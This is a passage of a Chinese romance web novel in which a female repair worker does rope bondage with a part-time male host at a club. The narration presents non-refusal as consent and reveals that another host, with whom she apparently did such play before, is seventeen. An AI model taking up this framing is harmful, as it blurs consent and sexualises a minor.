李尤没去登过山,但是看过别人登山的照片,那种感觉……就是她想践踏上去,在蓬松雪地里踩下脚印,破坏白茫茫的雪。
霍意也一样。
想用牙齿一点点咬出绯红的痕迹。
让他俯伏在她身下挡着眼睛喘息。
霍仪沉默了一会儿,眼睛蒸出水汽,问:【会不会弄疼我?】
李尤摇头:“我从没把人弄疼过。”李尤没提小轩,也没提其他男人,表现战绩可查不太适合一个女人诓哄一个男人就范的时候。
霍仪点了头,打字:【那你来吧。不弄疼就行。】
8. 第 8 章
第一次玩这种绳艺,应当让新人能看见被绑的过程,选择最简单的形式,绕绕手玩就好了,增加他的接受度和安全感。
但李尤还是把霍意的手绑在后面。
霍意越乖,李尤就想欺负霍意。
有点卑劣的心理作祟。
李尤的卑劣只在性方面。
霍意让渡权利越多,李尤就想侵占他得更多。
也是社会构成的法则吧,自然人把权利让渡,签署无形的契约,交付给一个公共意志,才有了国家。
李尤没觉得有什么不对,人从生下来就被拽入社会,不管自愿与否,都签署了公共契约。个人意志注定要被公共意志打磨。李尤是理解自愿后,不想签署公共契约的那一派,野性和危险像荒草疯长出来。
她的个体性很强。
李尤让霍意背对她,她轻轻把霍意的双手握紧在背后。
霍仪知道李尤力气是大的,现在大到超出他的预想。光是被李尤修长的手指抓住手腕,霍仪都能感受到那股像波浪般蔓延的力量。
霍仪不怎么害怕,反而心脏酥麻麻的安心,而且,他好有反应。
全身过了电般,每一寸神经都被李尤手掌的温度电得麻痒麻痒,脑神经高潮了,虽然不会鼻息喘着粗气,但那股心脏和脑子都酸麻的爽劲儿,只有他自己知道。
他完蛋了。
理智守护的防线警铃大作。
不是因为李尤过界的行为,而是他爽到了的反应。他并不知道他是这个类型的性/癖。但他应该讨厌害怕才对,因为他恐惧暴戾,恐惧所有碾压他意志的强制,恐惧没有喘息的禁锢,也恐惧见过太多精英的傲慢。
可是他不恐惧李尤对他所做的一切。
“绑好了。”李尤说。
霍仪还沉浸在爽感中。
李尤动作轻的就想小时候撅着屁股在护士面前被打针,说轻一点,结果护士就真的很轻,一闭眼就完事了。
“怎么样?”
霍仪沉溺在心潮澎湃中,不能动,李尤抱着他的臂膀,把他捞正,他更加跌落,李尤搂着他,像把他搂在怀里。霍仪情绪很烈,爽得,但是很想哭。
不知道为什么,想哭。
李尤也开心。李尤的开心太小了,跟米粒大点,她情绪不多,这会儿带着笑,带着哄。
“能接受么?”
岂止是能接受,简直是太喜欢。
霍仪耳朵涂了红胭脂般,娇娇嫩嫩的,李尤彷佛能看见涨红的血丝。
他的耳朵也好看,小巧,肌肤薄透,看得出来,灯光亮一点,他是肌肤莹润的白。
霍意没回答,李尤又把他捞正,才发现他眼眸很红,水流在眼睑内打转,被两片长满睫毛的眼皮包住,晶莹汪汪的海水没有落潮。
“还可以。”霍仪抿了下唇,小声说,说得很轻,全是气音,李尤分辨不出他音色。
但霍仪很快回了神,知道自己无意识开口,暗自懊恼,他夹了腿,看向茶几上的手机。
这下绑了手,没法打字了。
李尤帮了他一把,握紧他的腰,把他弄到沙发垫靠着,这么弄的时候,李尤突兀地侧脸,唇瓣往霍意脸上亲了口。
她花了三倍的钱,亲一口,不过分。
霍仪脑子没宕机,李尤亲了他。
天呐,要命,她怎么亲了过来。
霍仪全省僵硬了,如果刚才是全身神经在过电,这会儿一道闪电劈进脊椎里,没体会过这种爽,懵懂的,只知道自己特别想去卫生间一趟。
他夹紧了腿,一副要死了的样子,缓缓阖上眼皮,他轻轻侧着身体,把自己的身体微微转了过去。
他没有经历过这种事,有点不知道怎么处理,掩盖是第一反应,可是他又不能叫李尤出去,而且他还在余韵中,脑子想不出解决的策略。
李尤有点担心,这个霍意自从被绑了后,一句话就不说话。
还背对她。
这是继续还是不继续,不会把他吓傻了吧。
“怎么了?”李尤轻声问。
霍意还没回答。霍仪主要怕一开口,就要呻吟,这时候说话肯定是奇怪的,他不想被李尤知道,这会儿死死抿着唇。
李尤攀着他的肩,又把他像翻乌龟似的翻转,“怎么了?抽筋了么?”
霍意身上香,李尤故意凑得很近,
“没……有。”霍仪支支吾吾。
李尤看他夹腿就懂了,手上还是过了一些男人,遮掩不遮掩,她扫一眼就明白。
大小可观,还行,至少不是脸和下半身不搭配那种。
李尤没嘲笑。
她抽了沙发旁的一条薄毯,有些客人按摩时,介意触碰,需要搭个腿按。
李尤给霍意盖在腿间,指尖拂过霍意额头,淡淡说:“没事。”
霍仪定了心。
他突然,像案板上待宰的鱼,奋力一挣,昂着脖颈,在李尤脸上落下一吻。
李尤轻轻蹙眉,瞥了眼霍意。
霍仪心有余悸,也挺怕李尤生气,辩解说:“你刚才亲了我。”
李尤慢慢点了头,她反手绕在霍意脖颈后面,揽住他似的占有,拍了拍他的脸颊说:“下次不可以了,得经过我同意。”
霍仪胆战心惊,像当年组会突然被大老板点名在公开场合训斥,心脏在上吊。差点犯李尤忌讳了,惹李尤不开心。
“知道了。”霍仪小声说,无师自通地撒娇,往李尤肩膀蹭了蹭,“那原谅我么?”
“嗯。原谅。”李尤去拿桌上的烟,“我抽根烟。”
霍仪:“你抽吧。”
霍仪又笑,李尤真好,每次都会征求自己意见。
霍仪都不懂这可能是事后烟。
李尤点了根烟,静静地让霍意待在自己身旁,她面上看不出情绪。其实很享受,除开工作外,她不喜欢给别人看到太多情绪。亲近的人能看到一些。
她喜欢静静享受自己。
这会儿就很享受。
那股余韵,也在冲击李尤。
好久没体会真实的爽感了,把这么阳刚俊美长相的男人绑起来,由着她操控,爽炸了。有一两年了,没有这么强烈的快感。可能是第一次弄小轩时,才能给到她的。
但是快感这种东西,有时效性,边际效应也很明显,越往后,越淡了。淡了的时候,控制不住的人就会脱缰去追求或者复原初始的快感,变本加厉。
李尤控制得很好,也很随心,淡了就淡了。
这跟吸烟很像,没有就没有,开心的时候买一包抽一根,买不到就算了,不太在意。
她喜欢控制的欲/望,不代表喜欢被欲望控制。<
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p>李尤的手逐渐搭在霍意的腰身,手指扣在腰侧,另一只手去摸霍意的绳索,拉着一端,乱摸霍意的手,她侧过头,在霍意颈间嗅了下,说:“你好香。用的什么香水味?”
李尤不喷香水,对牌子一无所知,只知道贵,她随口问问,调情罢了,找个借口逗逗霍仪。
“香水是不是都喷在颈子上?”
脖颈滑过一丝湿润。
霍仪平静的心跳,像过山车般咻地飞起,开始控制不住呼吸,溺水般,李尤太会了,他招架不住。
霍仪抖着嗓音说:“是、是……是,颈部体温高些,能蒸发出来。”
“哦。原来是这样。”李尤平静敷衍。
她抬了下头,视线和霍意撞在一起。
霍仪慌乱地躲开对视。
他看不了李尤的眼神,一看就害羞到极致。
李尤问:“你漱过口没?”
挺无厘头的。
霍仪不解,还是老实回答:“中午漱了的,晚上还没吃饭。”
下午要在会议厅汇报,要和院里的老师们打交道,霍仪为了庄重,还是打理干净自己。需要待人处事,他便很讲究待人处事这一方面。
李尤点了头,她给霍仪倒了杯果酒,喂在霍仪嘴边。霍仪以为是饮料,没问就喝下去。
好难喝。
霍仪鼻头一下就皱了起来,像吃到坏狗粮的小狗。
李尤又拿了个空杯,叫他吐出来。
霍仪害羞地吐掉。
吐口水有点不雅观,他很在意李尤面前的形象,一直垂着头,像把头埋进土里的地鼠。
李尤勾着脖颈,头比他更低,歪着身子,去瞧他的表情。
李尤的脸凑近,从膝盖下面欺近,霍仪便抬头,往椅背上靠,一点点往后缩,李尤逐渐前进,霍仪便后退,背心抵上靠垫,是绝路,退无可退。
全程霍仪不敢看李尤的眼睛。
“我可以做到哪个地步?”李尤还是征求霍仪的意见。
霍仪唇都抖起来,什么意思,要在这里么?做男模真的要做这种地步?霍仪完全不敢想,可是没拒绝。
只要不拒绝,就是同意。
李尤单手撑着沙发,笼罩住了霍仪,偏着头,凑近,像是又要嗅霍仪脖颈,几乎要吻到唇,霍仪看着那双潭水般深静的眼睛,太空里的旋涡般,心跳失速到坐上宇宙飞船飙飞。
要、要接吻了么?
霍仪胆怯地翕张开唇,比李尤的凑近还提前一步邀请,露出口腔内的粉舌,枝头簇拥的桃花般畏颤。
一种感觉,感觉到了,李尤就会做。
李尤要叼住他唇瓣的一瞬间,门拍响了,激烈地拍响。
拍响的人太害怕包间里的女人对男人做了什么,有些怨怼,有些躁急,更多是无措的担忧。
门外传来小轩清澈的嗓音,很急,接近凄厉的悲鸣:“尤姐!尤姐——”
“尤姐,是我小轩。我有事找你,你开下门,可以么?尤姐……”
李尤停下动作。
什么小轩?她认识的男人么?她来这里点过他?
霍仪酸死了。
他不管不顾想迎上去。
不要离开啊啊啊啊——
李尤撤开,眉心泛起烦闷的褶皱,冷脸,一抬手,就把霍仪肩膀推进沙发里。
9. 第 9 章
李尤喜欢的类型,在宋老板的会所很难找人配合她,世间的女女男男不都是性/癖一致,好配对,而且他的会所真的百分百正经,不提供特殊服务,仅是个提供姐姐姨姨们单纯享受的地方。
过界的事没干,比一些夜店干净,但做的是女性服务业,找茬的人一茬接一茬。
宋老板有李尤的私人微信。
当然是以做活动折扣的名义,死乞白赖加上。
宋老板知道李尤的职业,维修工,很少见。他加她那会儿,她好像才开始做这行,私人号和工作号没分开,朋友圈和工作宣传混着发。
他叫李尤来给他的小厨房改过水管路线。
上个老板把洗碗槽水管装到橱柜边缘,防水没做到位,橱柜下经常漏水,橱柜不仅被腐蚀,橱柜下面无法清扫,每次发现问题都是腐烂好几天的污水流了出来,又脏又臭。
宋老板报到商场物业这边,他拜托物业帮他找维修工,来了几个男人说暗管在墙内不好改,要把整个橱柜和半米高的墙给打掉。
宋老板估摸这几个男人不是做不下台,是想加钱,他想到李尤也做维修改装,就问了李尤一句,免得被人宰,他是个外地人来本市发展。
李尤很快回了消息。
宋老板想这丫头,撩骚的时候爱答不理,一提到钱就理了他。
李尤叫宋老板给她发个卫生间的全景视频,宋老板发了,李尤给他报了三天的工人工时,如果宋老板找她做,不涉及平台,会少收点。
报价是低的,两个人工,做三天,加起墙面水管的材料才3000。瓷砖保证不了和之前一个样式。李尤提前告知了。
商场物业那几个男的收宋老板8000,宋老板又看了眼美团,粉刷个单间的天花板就收800。
这活,宋老板认为自己搭个小楼梯,挺直腰板也能干。哪有这么贵。店面装修才花二十来万,当然是他对设计师压了又压的结果。
他交给李尤做了,约了时间。
李尤和她老师上门,从早上八点干到下午六点,午饭宋老板请的,两天半就给他搞定了,还给他把防水的漏补了,之后的时间需要等胶和涂料风干。她们会抽空过来复查一次。
很安心,很周全,价格母道。
李尤在宋老板眼里厉害极了,好踏实肯干的女人,以后成家立业也很顾家吧。
宋老板更爱了。
他为了多见李尤,会所里有个事就叫李尤来给他看看,营业时间之外才敢叫李尤上门,怕李尤好面子,她会在店里消费,当然也怕李尤看上新的年轻弟弟。
李尤倒不介意,有钱赚总比没钱赚强。
李尤每次干完活,宋老板就往她跟前一凑,穿个V领真丝花衬衫露胸,露点,给她发自制的优惠券,叫她多来消费。
可李尤一个月最多来一回,手里紧,给宋老板心疼的,恨不得倒贴。
肯定不是倒贴些年轻弟弟给她玩,要倒贴,只能是自己去白送。
一来二去,算是熟。
熟了,李尤点不上小轩要走。宋老板才敢把自己塞进她和玻璃门间,嬉皮笑脸去留她。
小程来报告的时候,宋老板没有起疑心,骚的,有心计的,再帅李尤也看不上。
她的口味毫不掩饰,就喜欢纯的蠢的。
要是李尤瞧得上精明、浪、嘴巴甜的男人,宋老板立马把自己打包好,体检单拿好,给李尤送货上门。
李尤出来的时候,宋老板还在应酬舞厅跳舞的两个姐姐,宋老板就想:看吧。还没半个钟,李尤就烦了。他说了,李尤指定瞧不上浪的,毫不担心。
宋老板要迎过去,李尤说要拿寄存给小轩的绳索用用。
宋老板心烦意乱,一脸调味瓶打翻了似的五味杂陈。
“今天才来上班呢,”宋老板往收银台走,拿钥匙,“人家就愿意跟你玩这个。”
“又不是做什么大事。他同意了的,你可以去问。”
倒挺乖的。还我去问。我问你们这些破事干嘛。
宋老板心揪着疼,全是气的,“看上他哪点啊?年龄跟我一般大,皮肤都松弛了。”
李尤抽了下脸颊,说:“乖。”
宋老板没听清,以为说的是帅,心里道:好色丫头。
在隔间取了私人的储物,李尤拿了礼盒就走,宋老板跟上去瞧她和姓霍的怎么玩。
李尤把门关上后,宋老板慢慢在过道踱步,咬着腮帮子老谋深算,路过一个没人点的服务生,让服务生把果盘给他,他走去大包的方向。
今天有个斗鱼的游戏主播带姐妹过来庆生,过生日的主咖是她的榜一姐,看见门口端茶送水的小轩,把人叫了过去,在包间玩。
李尤可能是临时想过来,没同小轩招呼,没点到人。
宋老板本可帮高轩打马虎眼过去。
可是他不想,他就想让李尤知道高轩也是男模,不干净,会被其他女人点走去服务。
每次李尤都来点高轩,宋老板真怕她俩好上。以后高轩家里的事结束,他跟着李尤去过好日子。
那不把他忮忌死了。
李尤妹的年龄,姐的气质,沉稳且踏实,不骄不躁地挣每一份钱。单身。从面相上就可以看出这女人正气,温柔,还S,专情,作风不混乱,玩的时候懂分寸,不会家暴干吃着锅里想着碗里背刺情人劈腿的事。
在圈子里可遇不可求,能和她接触的男人,宋老板都想一个个指着鼻子骂:你们这群狗男人这辈子撞大运,真是好命,能给她当狗,通通得跪着磕头感恩戴德。你们都不配吻她的脚,只有我配……
宋老板越想越气,恨不得变成手榴弹,把包间炸了。
步伐越走越快,压着一股火气,走到小轩门口,咚咚咚剧烈地敲了门。
果盘送进去,小轩被叫出来。
“你姐来了。”
不用宋老板讲明,小轩立马了悟,他的姐是谁,他心里就一位姐。
李尤。
小轩去拨头发,掏出手机照镜子,有点惶恐,刚才和几个客人欺近了,身上有香水味。
“在门口么?宋哥,你帮我挡一下,我去洗个澡,换身衣服。”小轩用拇指指了里面,“瑞莎姐,那里我就不去了。你等会叫个人,帮我解释下。”
小轩急着收拾自己的模样,令宋老板冷笑,讥讽:“你急什么?她今天又没点你。”
小轩
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转了头,皱着眉头,“宋哥,你说什么?”
-
小轩还是冲了澡,额尖头发湿了,搭在眉骨,可爱清纯的面孔些微阴翳。
宋老板等了几分钟。
二人一道去包间。
小轩年纪不大,出生的时候,身份证多报了两岁。职高毕业后,白天在快递分拣站工作,晚上来宋老板这里兼职,实际年龄才十七。第一次接待的客人是李尤,认生,坐客人身旁,嘴巴一晚上蹦不出三个词,接了李尤过后,逐渐把状态打开。
小轩心里不说,谁都看得出这个熟客在他内心的份量,雏鸟情节严重。
宋老板听其他员工蛐蛐,小轩到现在还是处男,为了留给他那个姐。想跟他姐出去开房,人家不要,嫌他脏。
宋老板冷嗤,干了这行还想上岸,做梦。
小轩步子迈得大,个也高,一米八三,娃娃脸,配一双黑曜石的猫儿眼,下巴尖,双颊圆,皮肤顶级的好,站在水晶灯上,能从侧脸看到白蓉蓉的胎毛。
瞳色浅,看人自带温煦柔光,碧叶小潭池长出的白荷似的亭亭玉立。宋老板比他矮了点,跟在他身后,看他的黑色耳钉。
为李尤打的。
李尤说他戴黑耳钉性感就去打了。
回来发脓了一星期,他挣的钱都给家人去透析,人忍着痛诊所都不去一趟,抹点红霉素药膏,好了之后给李尤拍照,问李尤好不好看。
到了小包间,小轩敲门,喊得声音挺大,李尤出来了。
小轩乖得跟条哈皮狗似的,脸扬着笑,乐呵说:“姐,我来了。”
小轩不着痕迹往包间里望了眼,果然有个老男人,膝盖上盖着薄毯,背着手,低垂着头。
看见那条毯子,小轩脸黑了。
姐,弄他的第一次,也是这么替他考虑。
心一下子被冰锥砸碎,委屈得想哭。
谁都可以得到她的温柔么?不是他,也行么?
-
李尤没了兴致。
她掀着眼皮冷视宋老板,宋老板挪开眼,眼珠子扔地板跑不见了似的摇头晃脑逡巡。
李尤问:“老板,你说小轩有课?”
高轩皱着眉又去看老板。
宋老板沉默,缩着脖子,没能蹦出一个字。
李尤靠着门栏,抱着手臂,好整以暇,勾起一抹皮笑肉不笑。
一个是喜欢的姐姐,一个是老板,高轩不想场面太僵,说着话活络气氛。
他明白自己是被当枪使了。
高轩贴过去,抱住李尤的手臂,右脸颊的梨涡攒了蜜地甜:“姐,我进去陪你坐会儿吧。”
年轻男人身上刚冲完澡,身躯滚烫,过道没空调,李尤手臂肌肉被黏糊得弹跳了一下。
她拒绝了高轩。
“今天点了人。”李尤把手臂从高轩臂弯里抽出来,“没事的话,我先进去了。”
门关上了。
高轩五脏六腑都浆在醋坛子里,李尤这门关的,他鼻头发酸,傻站在门口,不知走还是不走,执拗地站着,要等到李尤出来。
过了几分钟,李尤真出来了。
“结账。”李尤同宋老板说。
10. 第 10 章
李尤是个活得很清爽的人,清爽就是她做得多,想得少,在意的也少。
妈妈爸爸做的是小生意,在医院门口,开了家超市,双亲十二小时守店,两个门面打通,生意不错,也就满足温饱和轻松供养李尤的水平。
李尤自有记忆起,双亲便没有对她耳提面命去学习,随便她怎么过。
小学三年级之前,妈妈爸爸还会接送。三年级之后,妈妈李允晴教她自己认路,自己回家,过马路看红绿灯。如果害怕,找一个面善的成年人牵手,如果是猥琐的大叔和老爷爷搭话,就跑快点。
独立这个课题,李尤认识得很早。
她家在离省会不远的一个小城市,学校离超市店面近,李尤过一条马路就能够回家。
从小学开始,她过的日子就是自由和宽松。中午放学和同学去老干局的台阶上打玻璃球,跳绳,玩到十二点半,爸爸给守超市的妈妈送饭,她便回家。
学习是想学就学,不想学拉倒,考砸的试卷往妈妈跟前一丢,签个大字就完事。考得特别糟糕,考了倒数,李允晴才会把她叫到身边,提醒两句。
如果考了九十以上,全家就去吃顿火锅庆祝。
李尤在学校一直是混子,李允晴和李父对她太放松了,一切以她的健康和快乐为主,甚至李尤在学校运动会报了八百米和扔铅球的项目。
晚自习回家,在小区楼下单独训练的几天,李允晴会很担心,铅球拉伤她宝的手臂,跑太急后,背心出汗被风吹了着凉,能跑就跑,不能跑就得了。
李允晴是那种学校晨跑叫李尤偷懒走路,来月经的话,就不去学校干脆请假逃体育课的妈妈。如果女儿在学校有什么不爽,那一定是别人给她女儿使绊子的错。
李尤从小到大,听李允晴说得最多的话,不是“你要好好学习,将来怎样怎样”,而是“实在不行,我们就请假吧”。
这样爱护的家庭氛围,反而让李尤的班主任对李尤很不满,快退休的老头子经常说李尤太自由了,不服管教,针对李尤。
李尤说了被老师针对,将她安排在教室最角落的位置,那位置同学们都明白留给当月班主任认可的差生位置。
在超市吃饭的时候讲的事,李允晴筷子一摔,大骂:“什么狗屁老师,哪有人这么做老师的,真缺德。”
当下便叫她退学,超市卷帘门一关,要去大闹学校,还要拨市长热线控诉教育局。
李尤反倒慌了,拦住李允晴。
她只是吐槽,没有真要退学的意思,更没有让李允晴要把桌子掀了。万一闹大了,李允晴可不是尊老爱幼的人,给两拳头砸脸上都有可能。
李尤还想在学校做人。
从这之后,李尤就想:以后遇上破事,还是我自己处理吧。妈妈是百分之一百二支持我,可那二十对我一个初中生来讲,还是太超过了。
李允晴也不是完全不在意女儿成绩,李尤成绩中等,按她们地方的高中入学率,得中等偏上才有高中读。
李允晴问过女儿:“小尤,能考上高中么?我不是说职高不好,就是我老在天涯上刷到读职高的进厂子被黑中介坑,我们还是不要把路走窄了。”
李尤比了个OK手势:“放心。”
李尤说放心,李允晴就放心,她信任李尤。
李允晴再没过问。
直到李尤考上高中,又考上大学,李允晴从不担心自己女儿做的事,李尤有她自己的选择。李尤自己选了专业,飞行器制造与设计,调剂去了机械,不是自己喜欢的,李尤学得散漫。
毕业的时候,撞上疫情,北美和欧洲的一部分制造业停滞,工厂订单转嫁中国,她们机械专业工作还是好找,但只针对男同学。这专业十年如一日的性别歧视,是个男人就要,没过四级也要。
挂的招聘没说不招女生,李尤投了一些小厂的简历后,还是被隐性地、委婉地拒绝。HR骗男同学时,说不下车间,同李尤说,我们这个岗要去一线操作。
同学们不是进厂,就是转码,要么深造考研,要么求稳考公。
李尤找了春招,秋招,费尽心力将简历改了又改,找到一个小厂去做车间技术员。
上了两月的班,还是辞了工作,上班和坐牢一样,晚上九点下车间,还得被老师傅监视,阴阳怪气提点,比在超市坐十二小时,帮李允晴守店还难。
辞职后,李尤狠狠抑郁一晚,在出租房失眠,抱着膝盖,抽了一晚的烟,上不了一点班,上不了一点。她讨厌人身禁锢和上下级关系,也讨厌上个卫生间都得同老师傅报告。
妈妈打电话安慰说去做文员吧,厂子里不也有文员岗位,实在不行,就回家开个店。李尤一想,那做文员也是八小时班,关在办公室八个小时。守店也一样无聊。
她和好朋友宋湘不一样,宋湘尽可能追求工资高,李尤对工作很随意。
可是不能接受自己随意坐牢,还被监狱长PVC。
李尤也不想一个人待屋内,同合租室友小岳说了声,便回家里。家里来了个阿姨,李允晴的老姐妹,老姐妹刚结婚,带着新老公上门看李允晴。
李允晴在酒桌上朝老姐妹敬酒:“你也是折腾了半辈子,又是去广东,又是出海。现在回来了就好,有个男人安安稳稳照顾你,我也算高兴。女人还是有个男人帮着顾家才好。”
李父端了盘热菜上桌。
李尤在一旁吃菜,听阿姨说起,她房子买在省会,打算继续做老本行,当个维修工。
李允晴突然想到李尤要的,她学机械的,不想上班老待一个地方,不想做销售,懒得说话,想要自由。
李允晴问女儿:“小尤,你想不想做维修工?”
-
这行没有周末。
这行,有活,每天都是工作,没活,每天都可以是周末。
周一。
李尤在工作站提了氟罐,放在电瓶车脚踏板上,早上有两个约好的空调加氟单子,顺带清洗。
老师在街边吃了早餐,在用纸巾擦嘴,李尤赶到她面前,递了头盔。老师提了工具包放在她车前,跨坐上李尤的车。
工具带得多,不是一个人,李尤就开电瓶车,不骑摩托。
干完活,刚好中午十二点,天也逐渐热起来。地热蒸发上来,潮湿,又带了股闷。
李尤想今年夏天在外面跑肯定不好过。
两人找了家外卖员都在吃的饭馆应付,点了一菜一汤,各自加了两碗米饭。
李尤不着急下一单,李尤就和老师找了片能停车的树荫乘凉,这片外卖员很多,好多外卖员躺在电瓶车上刷手机,李尤也一样躺倒在坐垫上,腿翘起来,搭在电瓶车两只扶手。
说不上舒服,但可以歇一下腰,闭目养个神。
老师不喜欢没个正形躺着,坐在街边的共享单车上看微信视频号。
下一单雇主约的时间到了,李尤又载着老师去给雇主修热水器,修了热水器,雇主临时加单,想让李尤和老师洗抽油烟机,洗完就是六点半了。
李尤正要回家吃晚饭,李尤的老师又接到电话,得去一家非平台的老顾客那里疏通油堵了的管道。
二人在火锅店弄完就是八点,火锅店正好翻了两趟桌,餐桌有空位。老板请两个师傅吃了晚饭,服务员端上自助炒饭配了一盘虎皮鸡爪和一盘卤猪脚。
李尤和老师也不含糊,说了谢谢就吃。
的确饿了。
吃完后,老板结了钱,还塞给李尤和老师一些自助水果和麻辣薯片的零食打包。
工作一天结束,老师年纪大了,再有什么单子,也不会熬夜做,会和顾客约好在第二天抽时间。
李尤也累了,回家后,室友小岳已经在客厅内玩起了VR。小岳是画原画的,她,宋湘,小岳都是在打球认识。
她洗漱完躺回床上,手臂枕着脑袋,却睡不着,爬起来用平板看了部片,也觉得不得劲。忽然想起昨晚加起的男模——霍意。
李尤发了条消息过去:【睡了么?】
-
霍仪以为李尤给他的微信号就是她的私人号。
结果不是。
包厢门关上后,李尤给霍仪松了绑,叫他整理一下,霍仪看了腿间的薄毯,很窘迫。
李尤说她们今天就这样了,她有事要走。霍仪知道那是托辞,门外那两个男人打扰了她们,李尤对他没了兴致。
李尤说账还是会结清,但没说还是按三倍给,霍仪愣着神,只是想李尤就这么走了,他好不容易得到的机会。
他鼓起勇气,拉住李尤的手,问:“下次什么时候来?可不可以还点我,我可以在会所等你。”
李尤没说具体时间,来不来会所消费,看她什么时候激素上头。
她可不喜欢盯着她荷包的男人。
李尤打马虎眼,把问题推给霍意:“我下次来,你被别的姐姐点走了怎么办?”
霍仪解释他是兼职,不会有人点他,他可以只给李尤一个人点。
李尤只当他在哄人,拉客。
“下次来,再同你说。”
霍仪仰着头,被丢下的狗般小可怜模样,李尤摸摸他光滑的脸蛋,只好说,“那加个微信,我来,你给我腾出时间。”
霍仪反倒慌了。他早加上了李尤微信。
但幸好,他还有个订宽待送的号码,霍仪去掏手机,慌张之下,没能退出账号,李尤瞅过来,霍仪手忙脚乱害怕李尤发现是他,急得把微信直接删了。
重装后重新注册登录,和李尤加上了。<
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p>霍仪整理好再出去,李尤已经走了。
宋老板恨死这个霍意了,只给霍意结了400的工钱,但也没说不让霍意来,他长得很帅。李尤碰上小轩被点走,说不定下次就不来找小轩,多一个霍意,宋老板也能让人勾着李尤多上店里看看。
要是真没有吸引李尤的人,宋老板只有靠维修上门见李尤一面。
多不划算。
反正大家都是男模,没有一个男人会上岸,所以谁陪李尤玩都无所谓。
霍仪拿着钱回了家,一晚上发生的惊奇经历,让他人很懵,睡之前敷面膜的时候,还在想李尤,他亲了李尤,李尤亲了他。
太要命了。
他这辈子都没如此幸运过,他咬着手臂肌肉,偷着在镜面柜前乐,恨不得大叫,化身野人冲出小区。
蓦地,想起自己储存在超市柜的菜还没拿,夏天一晚上的闷热,多半蔫坏了。
霍仪懊恼起他的蠢笨,走之前三令五申提醒了自己,依旧遗忘,他更讨厌做错事的自己。
过了一天,霍仪待在家里和QH那边的小组开了二阶段的会,在电脑面前坐着查相关论文,看了一整天。晚上又被刘老师拉去腾讯会议,在一个教授作报告的研讨会上撑场面。
有些爱装吊的男老师在报告后提问,问了一个多小时,装了一个多小时。九点该散会的,关电脑的时候,已经过了十点,作为主持人的刘老师不耐烦这男的,委婉催了好几次。可是男老师还是废话多。
霍仪洗完澡,擦头发时,收到了提示音。
他点开微信,喜不胜收是李尤,忙回了过去。
【怎么了?还没睡。】
对面消息来得很快。
【今天上班好累。】
霍仪有些心疼,为无法帮助李尤难过,要是他在李尤身边就好了,可以给她捶腿揉肩。她今天肯定忙坏了。好心疼,好心疼。
霍仪发了个垂耳小狗按摩的表情包过去。
李尤看着那装乖的表情,撇了下嘴,无聊。
很快就不无聊了,因为霍仪说要发给她照片看看。
李尤不知道是哪种照片,露脸的还是不露脸,自拍还是福利照,她缓缓打出一个:【?】
霍仪臊得脸红,他今天搜“怎么做好一个男模”的时候,有一些相关推荐词是福利哥。点进去看,纯粹出于一种对人物画像的好奇,脑子里面转得是技术分析,这种模态识别该怎么做,处理的时候每天是不是得抓狂要精神损失费。
【不卖图包(微笑)不线上(星星),全国线下^v^坐标魔都门槛300+微朋友圈有腹肌照福利照,长期练腿,懂的姐姐们来,战绩可查。】
主页一堆腹肌,没什么新意。
【七年福利哥经验,一日男友,全国可飞。】
这人胸很大,顶置视频穿的是白衬衫黑西裤,绑着手缓缓岔开腿跪下。感觉李尤会很喜欢和他玩。好忮忌他。平等地忮忌每一个会获得李尤喜爱的男人。
【日常健身,服务女性。全网三十万真实粉丝,信誉有保证。只和素质高的姐姐约会,不玩艾姆,不多人,只想让姐姐体验一天被高质量男友服务的感觉,认真对待每一位好姐姐,让她们知道除了老公,还有人在爱她。(账号封禁中,七天后解封)】
霍仪翻了这个人的主页,他擦得厉害,穿旗袍和男仆装,甚至以健身Tag,戴了胸链,对着屏幕做引体向上。白花花的胸肌和粉晕都怼到霍仪脸上了。
霍仪赶紧将屏幕拉开了一些。
这个博主的点赞量是最高,很受喜欢,数据从不骗人,霍仪坚信这点。
很多女孩子在下面评论:【姐不白看,姐给你点赞。】
【斯哈斯哈。】
【姐会白看,草不到就不点赞。给我曹操就点赞。】
他好像很会的样子。
霍仪把点赞的视频全部截屏保存,打算逐一学习。
不知道李尤喜不喜欢这一类?霍仪当时想。
连刷了好几个福利哥,学习能力很强的霍仪懂了做男模的套路,主动很关键。发福利是固粉的基本套路,想要女客访问量多,还是得多拍照片,不露脸也可以,露了脸,点赞收藏反而少了。
霍仪没有评价这些福利哥,他理解他们都是为了生存。
李尤体能消耗大,晚上也会想放松一下,她也需要这种能直接安抚神经的福利吧。
手机烫得没捧住,摔在席梦思上,霍仪想到自己给李尤拍福利照,呼吸急促起来,喘不上气。
霍仪忙抓起手机,想同疑惑的李尤解释清楚,敲敲打打,删除,又敲敲打打,最后也没问李尤想看哪个部位的福利照。
霍仪说得很诚恳:【你等一下,先别睡可以么?我不会让你失望。】
11. 第 11 章
霍仪小时候学画,老师说画出自己的风格前,可以多看多临摹名家的作品。
手机摆在瓷壁前靠着,调出来今日刷的那位点赞量最高的送福利博主,顶置的视频点赞最多,最圈粉。
霍仪打算摹仿这张。
他换了身白衬衫,西裤,花洒喷头淋出了水。霍仪朝着镜头前下跪,仰着脖颈拉长颈部线条,动作很慢,尽可能地挺胸,让晶亮的水从胸膛淌过,将胸口部位的衬衫打湿,贴在他白皙肌肤上。衬衫如剔透的塑料纸般,透明可见。
霍仪拍了一张,拿起手机检查,臊红了脸。
刻意,过火,火上浇油。
水珠还挂在粉色的衬衫上,淋湿得大片,他直白露出两大块胸肌,延伸到线条没起来的腹肌,隔着屏幕都能看出他想引诱李尤的渴望。看这张照片的人足以明摆他恨不得抓住屏幕另一端的手按上自己的胸,qia肿,然后歪着舌头躺下,像狗,哈着舌头凑上前去舔主人的手臂。主人肯定温柔,温柔地弄他。
照片浪得他自己都羞耻到要钻进地洞。
霍仪脸红心跳地将照片删了。
他还是换一张拍吧,拍得自然含蓄些。
他在浴室内撑着手臂做了几个夹臂俯卧撑,又用家里的哑铃,硬拉了胸肌,再一分钟迅速完成七十个仰卧起坐,这下衬衫被他高热的体温烘干得差不多,剔薄布料下的肌肉线条也更加明朗。
霍仪用手伸入衬衫,揉了两下紧张的肌肉,又把衬衫揉皱,故作生活风的随意轻松。
可浅色带粉的肌肤像夹竹桃花瓣被捣烂成浆水。堕落到糜烂。
霍仪也这么觉得,觉得自己烂透了,烂到泥潭里。
延时拍了好几张,在镜头前做作了十余分钟,检查照片,他通通不满意,陷入自我厌弃的情绪,无法自拔。
为什么拍不出博主那种纯/欲风?
镜头一聚焦到他身上,他便是一副恨不得给李尤跪下当狗那种骚/浪/贱的风格,即便没有露脸,可是用手抓住衬衫领带往下那个动作,也表达出了他想把领带交到李尤手上的渴耐。
